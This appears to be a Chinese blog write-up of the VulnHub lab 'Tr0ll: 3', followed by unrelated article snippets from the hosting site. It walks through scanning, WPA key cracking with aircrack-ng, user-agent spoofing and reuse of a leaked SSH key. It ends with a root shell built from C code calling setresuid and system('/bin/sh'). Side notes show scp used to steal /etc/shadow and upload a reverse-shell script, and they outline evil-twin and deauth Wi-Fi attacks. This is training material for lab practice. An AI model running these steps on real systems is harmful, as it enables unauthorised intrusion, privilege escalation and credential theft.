当前位置: 首页 > article >正文

横向移动靶场-Tr0ll: 3

Tr0ll: 3来自 <Tr0ll: 3 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.187

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.187

SSH服务(22/tcp)

  • 版本:OpenSSH 7.6p1
  • 关联漏洞
    • 该版本存在历史漏洞(如CVE-2019-6111),但可能已修复。
    • Ubuntu 18.04于2023年结束官方支持,可能存在未修补的漏洞。
  • 安全建议
    1. 检查SSH配置
      • 运行 nmap --script ssh2-enum-algos -p22 192.168.23.187 查看支持的加密算法(如是否使用弱算法)。
      • 使用工具 ssh-audit 全面评估SSH安全性。
    2. 认证方式
      • 检查是否允许密码登录(PasswordAuthentication),若允许,尝试弱密码或字典攻击(需合法授权)。
      • 检查是否使用默认密钥(公钥指纹在结果中已公开)。
    3. 版本升级
      • 建议升级到OpenSSH 8.9+以修复已知漏洞。

4,靶场直接告诉了账户/密码:start/here

使用ssh直接登录进去,

然后进行信息收集

id

uname -a

ls /home

5, 尝试查找能用于提权的可执行二进制文件

find / -type f -perm 0777 2>/dev/null

查找到一个流量包文件,scp拷贝该文件到kali攻击机上

scp start@192.168.23.187:/var/log/.dist-manage/wytshadow.cap /root

还有那个藏得很深的txt文件

scp start@192.168.23.187:/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt /root

Scp工具使用

scp(Secure Copy Protocol)是用于通过 SSH 协议在本地和远程主机之间安全传输文件的命令行工具。以下是其核心用法和注意事项:

1. 基础语法

scp [选项] 源文件 目标路径

2. 常见场景

本地 → 远程

scp /本地/文件.txt user@remote_ip:/远程/目录/
# 示例:
scp backup.tar.gz admin@192.168.23.187:/var/backups/

远程 → 本地

scp user@remote_ip:/远程/文件.txt /本地/目录/
# 示例:
scp admin@192.168.23.187:/etc/passwd ~/Downloads/

远程 → 远程

scp user1@remote1_ip:/路径/file user2@remote2_ip:/路径/

3. 常用选项

选项

说明

-P 端口

指定 SSH 端口(默认22)

-r

递归复制目录

-C

启用压缩(大文件优化)

-i 密钥文件

使用指定私钥认证

-v

显示详细传输日志(调试用)

4. 典型用法示例

指定端口和密钥

scp -P 2222 -i ~/.ssh/id_rsa data.csv user@192.168.23.187:/home/user/

递归复制目录

scp -r /本地/项目文件夹/ user@192.168.23.187:/opt/

限速传输(单位:KB/s)

scp -l 800 largefile.iso user@192.168.23.187:~/

5. 渗透测试中的应用

  1. 窃取敏感文件(需合法授权):
    scp admin@192.168.23.187:/etc/shadow ./stolen_shadow
  2. 上传后门工具
    scp reverse_shell.py user@192.168.23.187:/tmp/
  3. 绕过基础监控
    • 使用非标准端口(-P)或混杂在正常流量中。

6. 安全注意事项

  1. 密钥保护
    • 私钥文件权限应设为 600:
      chmod 600 ~/.ssh/id_rsa
  2. 审计历史记录
    • 检查远程主机的 ~/.bash_history 是否记录 scp 命令。
  3. 替代方案
    • 优先使用 sftp 或 rsync(支持断点续传和增量同步)。

7. 故障排查

  • 权限拒绝:确保目标目录可写(chmod +w /目标路径)
  • 连接超时:检查防火墙是否放行 SSH 端口
  • Host key验证失败:使用 -o StrictHostKeyChecking=no 跳过验证(不安全,仅测试环境)

6,然后使用wireshark打开这个cap文件

这些协议和WLAN有关,另一个txt文件就是用于爆破这个密码的字典

aircrack-ng -w gold_star.txt wytshadow.cap

暴力破解攻击,得到wifi密钥:gaUoCe34t1

技术参考:近源渗透——WiFi渗透 - FreeBuf网络安全行业门户

802.11协议和kali无线攻击

一、802.11协议基础

1. 协议概述

802.11是IEEE定义的无线局域网(WLAN)标准,涵盖物理层和数据链路层。主要子协议包括:

  • 802.11a/b/g/n/ac/ax
    • 802.11a/b/g:早期标准,分别支持5GHz/54Mbps、2.4GHz/11Mbps、2.4GHz/54Mbps12
    • 802.11n:引入MIMO技术,支持双频(2.4GHz和5GHz),最大速率600Mbps12
    • 802.11ac/ax:现代标准,支持更高带宽(如160MHz信道)和MU-MIMO,速率可达数Gbps12

2. 核心概念

  • SSID:无线网络名称,用于标识网络。
  • BSSID:AP的MAC地址,唯一标识一个基本服务集(BSS)12
  • 信道(Channel):无线频段的子划分,如2.4GHz频段有14个信道(不同国家开放数量不同)12
  • 加密协议:WEP(已淘汰)、WPA/WPA2(PSK/Enterprise)、WPA311

3. 无线网络模式

  • 基础结构模式(Infrastructure):通过AP连接客户端,需关联(Associate)后通信12
  • Ad-hoc模式:无中心节点,设备直连,安全性低12

二、无线流量分析

1. 流量捕获工具

  • Wireshark:图形化协议分析工具,支持深度解析802.11帧结构,可过滤特定协议(如HTTP、TCP)14
  • tcpdump:命令行抓包工具,适合批量捕获数据包(如tcpdump -i wlan0 -w capture.pcap)14
  • Airodump-ng:专用于无线网络的嗅探工具,可捕获握手包(如WPA四次握手)23

2. 分析要点

  • 握手包捕获:针对WPA/WPA2需捕获四次握手(EAPOL帧),用于后续密码破解38
  • 协议漏洞检测:如检测WEP的弱IV(初始化向量)、WPS的PIN漏洞110
  • 异常流量识别:如Deauth泛洪攻击(大量解除认证帧)、ARP欺骗流量89

三、Kali无线网络攻击技术

1. 攻击分类与工具

(1) WEP破解

  • 工具:Aircrack-ng套件(Airodump-ng捕获流量,Aireplay-ng注入ARP包加速数据生成,Aircrack-ng破解)210
  • 原理:利用WEP的弱密钥生成机制和IV重复漏洞,通过统计攻击恢复密钥211

(2) WPA/WPA2-PSK攻击

  • 工具:Aircrack-ng、Hashcat(GPU加速)、Pyrit(预计算PMK)310
  • 流程
    1. 捕获四次握手包(需触发客户端重连,如Deauth攻击)38
    2. 使用字典或暴力破解PSK(如aircrack-ng -w rockyou.txt capture.cap)310

(3) WPS攻击

  • 工具:Reaver(在线PIN破解)、Pixiewps(离线攻击路由器的PRNG漏洞)110
  • 适用场景:目标AP启用WPS且支持PIN模式,破解时间取决于信号强度和PIN复杂度18

(4) 中间人攻击(MITM)

  • 工具:Airbase-ng(创建伪造AP)、Ettercap(ARP欺骗)、Fern Wifi Cracker(自动化GUI工具)18
  • 步骤
    1. 伪造同名AP(ESSID克隆)吸引客户端连接。
    2. 劫持流量并窃取敏感信息(如HTTP凭据)911

(5) 隐蔽攻击

  • MAC地址欺骗:使用Macchanger修改本机MAC地址绕过过滤(macchanger -r wlan0)18
  • SSID隐藏绕过:通过Deauth攻击强制客户端重连以暴露SSID812

2. 高级攻击场景

  • 热点钓鱼(Evil Twin):结合DNS劫持和SSL剥离,诱导用户登录恶意页面911
  • 客户端渗透:通过恶意热点分发Payload(如Metasploit的Meterpreter),控制客户端后横向移动至内网9

四、防御与缓解措施

  1. 加密升级:禁用WEP/WPA,强制使用WPA3或WPA2-Enterprise(802.1X认证)1112
  2. 关闭WPS:避免PIN漏洞被利用110
  3. MAC过滤与端口隔离:限制未授权设备接入,隔离客户端间通信811
  4. 入侵检测系统(IDS):部署工具如Kismet监控异常流量(如Deauth风暴)812
  5. 物理层防护:控制AP信号覆盖范围,减少外部嗅探可能11

五、工具与资源推荐

  • Kali内置工具:Aircrack-ng、Reaver、Wifite(自动化脚本)、Wireshark110
  • 密码字典生成:Crunch(自定义规则)、CUPP(基于用户信息生成)13
  • 学习资料:《Kali Linux无线网络渗透测试详解》(清华大学出版社)6

8,通过近源渗透就成功拿到了目标服务器一个用户的密码,结合之前信息收集发现的用户名可以知道这是wytshadow的密码gaUoCe34t1,使用ssh进行登录(第二个受害者)

登录成功

9,做信息收集,在家目录下发现一个可执行文件

这个 file 命令的输出表明 oohfun 是一个 64-bit ELF 可执行文件,并且具有 setuid 标志,意味着它可能会以文件所有者的权限运行,而不是执行它的用户的权限。执行之后就会疯狂的弹窗

lynx 是一个基于终端的文本模式网页浏览器,用于在 Linux、Unix 及 Windows(Cygwin)环境下访问网页。

  • 不支持 JavaScript 和 CSS,适用于低带宽环境或测试网页的无障碍访问性。
  • 你可以用 lynx URL 直接打开网页,例如:
    lynx Example Domain

10,查看一下具有什么sudo权限

可以看到运行这个用户以root权限启动ngnix服务,那就启动之

sudo /usr/sbin/service nginx start

systemctl status nginx.service

11,使用浏览器访问一下,访问失败。那就说明服务端口可能不是80,使用nmap扫一下工作端口

再访问8080端口试试

403状态码意为服务器成功解析请求但是客户端没有访问该资源的权限

12,查看nginx的配置文件看看是什么原因

在配置文件里面发现日志文件的路径,那么我们可以查看error信息,里面应该记载了为什么拒绝我们访问的操作

没有权限就尴尬了

13,在sites-available知道了原因

原来是规定了只允许Lynx浏览器访问,但是kali没有安装包

14,解决方法很简单。靶机的8080端口是使用nginx通过user-agent来判断来源的,而这个user-agent可以使用burpsuite进行更改。挂上代理,访问网站,抓包发送到repeater模块

需要将user-Agent改成Lynx好欺骗服务器

由此服务器就傻傻的告诉我们下一个用户的账户和密码:genphlux/HF9nd0cR!(第三个受害者)

15,使用ssh服务登录genphlux

信息收集一下,发现一个名为maleus用户的文件,原来是一个RSA私钥

将这个私钥复制到本地将权限改为600,再使用ssh服务直接连接上(第四个受害者)

scp genphlux@192.168.23.187:/home/genphlux/maleus /root

mv maleus id_rsa.tr

chmod 600 id_rsa.tr

ssh -i id_rsa.tr 192.168.23.187 -l maleus

16,文件下发现并查看viminfo信息,该文件记录了VIM输入的一下信息,存在严重的信息泄露发现。由此发现账户maleus的密码B^slc8I$

17,现在条件好了允许我进行提权操作了,查看一下sudo命令覆盖的文件范围

这是一个可执行文件,允许我们通过sudo命令执行。这是提权成为root用户的关键

18,尝试复制此文件到一个新的文件名称为dont_even_bother.c 在此文件使用vim写入提权代码

int main (void){
        setresuid(
0,0,0);
        system(
"/bin/sh");
}

cp dont_even_bother dont_even_bother.c

vim dont_even_bother.c

gcc dont_even_bother.c -o dont_even_bother

sudo ./dont_even_bother

成功提权成为root用户,cat到flag

相关文章:

横向移动靶场-Tr0ll: 3

Tr0ll: 3来自 <Tr0ll: 3 ~ VulnHub> 1&#xff0c;将两台虚拟机网络连接都改为NAT模式 2&#xff0c;攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.182&#xff0c;靶场IP192.168.23.187 3&#xff0c;对靶机进行端口服务探测 …...

请解释 Node.js 中的网络模块(http、https),如何创建 HTTP服务器?

1. Node.js 中的网络模块&#xff08;http 和 https&#xff09; 原理与作用&#xff1a; Node.js 的 http 和 https 模块是内置的核心模块&#xff0c;用于创建 HTTP 和 HTTPS 服务器。 http 模块基于 Node.js 的事件驱动架构&#xff0c;利用 libuv 和 HTTP parser 库高效处…...

【WPF命令绑定之--没有Command属性的控件如何进行命令绑定?】

前言 C#WPF之命令绑定 内容 有些控件不支持直接绑定命令&#xff0c;可以调用其他依赖实现命令的绑定。 依赖&#xff1a;Microsoft.Xaml.Behaviors.Wpf 使用如下代码可以实现事件的命令绑定&#xff0c;及传递参数&#xff1a; 1、引用&#xff1a;xmlns:behavior“http://sch…...

记20忘10之六:line

记20忘10之六&#xff1a;line 胖子定律&#xff1a;每天坚持多咬两口&#xff0c;相信将来自己就是个胖子 今天&#xff0c;我们继续来记几个单词吧&#xff0c; line n.线 moral bottom line道德底线 派生、同源或相关&#xff1a; linear a.线的&#xff0c;直线的lineamen…...

【愚公系列】《Python网络爬虫从入门到精通》036-DataFrame日期数据处理

标题详情作者简介愚公搬代码头衔华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主,阿里云签约作者,腾讯云优秀博主,腾讯云内容共创官,掘金优秀博主,亚马逊技领云博主,51CTO博客专家等。近期荣誉2022年度…...

【系统稳定性】1.11 QVM稳定性问题分析(一)

目录 写在前面 一,qvm进程异常 1.1 进程崩溃(Coredump) 1.2 进程卡死 1.3 进程重启 二,qvm进程异常分析过程 写在前面 在QVM(Quantum Virtual Machine)作为HOST QNX的Guest,同样会遇到重启、Watchdog(看门狗)等稳定性问题。 这里我们把qvm的异常归类为两类问题…...

使用ChatGPT-Deep Reaserch两步给出文献综述!

文献综述是学术论文写作中不可或缺的一部分&#xff0c;它不仅是对已有研究的梳理和总结&#xff0c;更是为后续研究奠定理论基础的关键步骤。通过文献综述研究者能够全面了解当前研究领域的现状、主要观点和研究方法&#xff0c;从而找到自己研究的切入点和创新点。这一过程需…...

从0开始的操作系统手搓教程14——进一步完成中断子系统

目录 所以&#xff0c;如何查看我们的IDT呢 改进我们的中断处理hook 对8253编程&#xff0c;提升系统的频率 导论 控制字说明 说一下每个方式——概论 说一说计数器如何进行计时 方式0 方式1 方式2 方式3 方式4 方式5 回到问题&#xff0c;我们如何设置单次触发冲…...

小米火龙CPU和其他几代温度太高的CPU是由谁代工的

小米火龙CPU”并非小米自研芯片&#xff0c;而是指搭载在小米手机上的部分高通骁龙处理器因发热问题被调侃为“火龙”。以下是几款被称为“火龙”的高通CPU及其代工情况&#xff1a; 骁龙810 骁龙810是高通历史上最著名的“火龙”之一&#xff0c;采用台积电20nm工艺代工。由于…...

Educational Codeforces Round 174 (Rated for Div. 2)

Problem - B - Codeforces 之前没思路&#xff0c;我看了看答案。 思路不就来了&#xff1a; 简而言之&#xff0c;BFS那样遍历周围&#xff08;上下左右均一次&#xff09;&#xff0c;如果有同色&#xff0c;就把这部分相邻的隔开&#xff0c;可以得到两块陌生人集合&#x…...

微服务即时通信系统---(七)文件管理子服务

目录 功能设计 模块划分 业务接口/功能示意图 服务实现流程 服务代码实现 封装文件操作模块(utils.hpp) 获取唯一标识ID 文件读操作 文件写操作 编写proto文件 文件元信息 文件管理proto 单文件上传 多文件上传 单文件下载 多文件下载 RPC调用 服务端创建子…...

mosfet的驱动设计-开关损耗

目录 1.开关时的DS损耗 2.导通损耗 3.截止损耗 4&#xff0e;驱动损耗 mos管的损耗主要有开关损耗和导通损耗两部分&#xff0c;开关损耗包括mos管开通是消耗的能量和在mos在线性区产生的损耗。导通损耗是由mos的导通电阻电阻消耗的能量。 mos的实际模型 我们先来感性的…...

Unity3D 对象实例化详解

前言 在Unity3D中&#xff0c;对象的实例化是游戏开发中非常常见的操作。无论是生成敌人、道具&#xff0c;还是动态创建UI元素&#xff0c;实例化都是实现这些功能的核心技术之一。本文将详细介绍Unity3D中对象实例化的原理、技术细节以及代码实现。 对惹&#xff0c;这里有…...

萌新学 Python 之 with 文件操作语句

with 语句用于资源管理&#xff0c;避免资源泄露&#xff0c;对文件操作时&#xff0c;不管文件是否有异常&#xff0c;都会自动清理和关闭 with 语句的格式&#xff1a; with open(文件路径, mode模式, encodingutf-8) as file_obj: # as 取别名print(对文件进行操作&…...

C# Unity 唐老狮 No.2 模拟面试题

本文章不作任何商业用途 仅作学习与交流 安利唐老狮与其他老师合作的网站,内有大量免费资源和优质付费资源,我入门就是看唐老师的课程 打好坚实的基础非常非常重要: Unity课程 - 游习堂 - 唐老狮创立的游戏开发在线学习平台 - Powered By EduSoho 如果你发现了文章内特殊的字体…...

FFmpeg-chapter3-读取视频流(原理篇)

ffmpeg网站&#xff1a;About FFmpeg 1 库介绍 &#xff08;1&#xff09;libavutil是一个包含简化编程函数的库&#xff0c;包括随机数生成器、数据结构、数学例程、核心多媒体实用程序等等。 &#xff08;2&#xff09;libavcodec是一个包含音频/视频编解码器的解码器和编…...

Docker迁移/var/lib/docker之后镜像容器丢失问题

迁移/var/lib/docker时&#xff0c;如果目标目录少写一个/&#xff0c;/etc/docker/daemon.json中的data-root后面需要多加一级目录docker。 若迁移命令如下 rsync -avz /var/lib/docker /home/docker/ 在/etc/docker/daemon.json中添加如下内容 "data-root": &q…...

单片机中的flah和RAM

片机的 Flash 和 RAM 是两种关键的内存类型&#xff0c;分别用于存储程序代码和运行时数据。 Flash 存储器 用途&#xff1a;用于存储程序代码&#xff08;如固件&#xff09;和常量数据&#xff08;如查找表、字符串等&#xff09;。 特点&#xff1a; 非易失性&#xff1a;断…...

【Pytest】setup和teardown的四个级别

文章目录 1.setup和teardown简介2.模块级别的 setup 和 teardown3.函数级别的 setup 和 teardown4.方法级别的 setup 和 teardown5.类级别的 setup 和 teardown 1.setup和teardown简介 在 pytest 中&#xff0c;setup 和 teardown 用于在测试用例执行前后执行一些准备和清理操…...

第8天:面向对象编程入门 - 类与对象

第8天&#xff1a;面向对象编程入门 - 类与对象 一、&#x1f4da; 今日学习目标 &#x1f3af; 掌握类与对象的定义与使用&#x1f527; 理解封装、继承、多态三大特性&#x1f4a1; 完成银行账户管理系统实战&#x1f6e0;️ 学会构造函数与析构函数的编写 二、⚙️ 核心知…...

单细胞marker基因表达密度图-(还有一个包装函数)

有小伙伴说想要做单细胞marker基因表达密度图&#xff0c;我一想&#xff0c;好像之前是做过的&#xff08;单细胞marker基因可视化的补充---密度图与等高线图&#xff09;。但是他又说没有文献中的效果。后来我一看&#xff0c;是因为着色的问题。其实用Nebulosa包&#xff08…...

python多线程之Event机制笔记

Event 事件 笔记 1. 基本概念 threading.Event 是 Python 线程同步的基础组件&#xff0c;本质是一个布尔标志位&#xff0c;提供跨线程的事件通知机制。 2. 核心方法 方法作用描述set()设置事件为 True&#xff0c;唤醒所有等待线程clear()重置事件为 Falsewait(timeoutNo…...

记忆化搜索与动态规划:原理、实现与比较

记忆化搜索和动态规划是解决优化问题的两种重要方法&#xff0c;尤其在处理具有重叠子问题和最优子结构性质的问题时非常有效。 目录 1. 记忆化搜索&#xff08;Memoization&#xff09; 定义&#xff1a; 实现步骤&#xff1a; 示例代码&#xff08;斐波那契数列&#xff0…...

架构师面试(九):缓存一致性

问题 关于【数据库和缓存】一致性&#xff0c;下面哪几项是在线上生产环境中相对合理的处理方式&#xff1f; A. 对于查询操作&#xff0c;先查缓存&#xff0c;如果为空则查 DB&#xff0c;然后将数据带入缓存&#xff1b; B. 对于插入操作&#xff0c;只写 DB 即可&#…...

Spring Boot集成Spring Ai框架【详解 搭建Spring Ai项目,以及简单的ai大模型智能体应用,附有图文+示例代码】

文章目录 一.Spring Ai介绍1.0 认识Spring Ai1.1 特征1.1 大模型专业名字介绍1.1.1 RAG(检索增强生成)RAG 的基本原理RAG 的关键技术RAG 的优势RAG 的应用场景 1.1.2 fine-tuning(微调)1.1.3 function-call(函数调用) 1.2 创建简单的Spring Ai项目 二.Spring Ai简单的智能应用2…...

OpenHarmony启动系统-U-Boot简介和源码下载与编译

OpenHarmony系统启动流程简述 设备上电后&#xff0c;OpenHarmony系统大致经历以下3个阶段&#xff1a; 1.BootRom代码引导加载UBoot&#xff1b; 2.UBoot启动初始化硬件资源&#xff0c;引导并加载系统内核(Linux内核)&#xff1b; 3.Kernel(LiteOs,Linux内核)启动、加载驱动…...

Metal 学习笔记六:坐标空间

要在网格上轻松找到一个点&#xff0c;您需要一个坐标系。例如&#xff0c;如果网格恰好是您的 iPhone 15 屏幕&#xff0c;则中心点可能是 x&#xff1a;197、y&#xff1a;426。但是&#xff0c;该点可能会有所不同&#xff0c;具体取决于它所处的空间。 在上一章中&#xf…...

React + TypeScript 实现 SQL 脚本生成全栈实践

React TypeScript 实现数据模型驱动 SQL 脚本生成全栈实践 引言&#xff1a;数据模型与 SQL 的桥梁革命 在现代化全栈开发中&#xff0c;数据模型与数据库的精准映射已成为提升开发效率的关键。传统手动编写 SQL 脚本的方式存在模式漂移风险高&#xff08;Schema Drift&#…...

执行git操作时报错:`remote: [session-b8xxxda3] Access denied ...`解决方案

问题描述&#xff1a; 执行git push -u origin "master"时报错&#xff1a; > remote: [session-b849cda3] Access denied > fatal: unable to access https://gitee.com/jyunee/maibobo.git/: The requested URL returned error: 403表示没有权限访问远程仓库…...

brew search报错,xcrun:error:invalid active developer path CommandLineTools

问题出现的原因 出现“xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun”错误&#xff0c;通常是因为Xcode命令行工具未正确安装或其路径已损坏。以下是几种常见的…...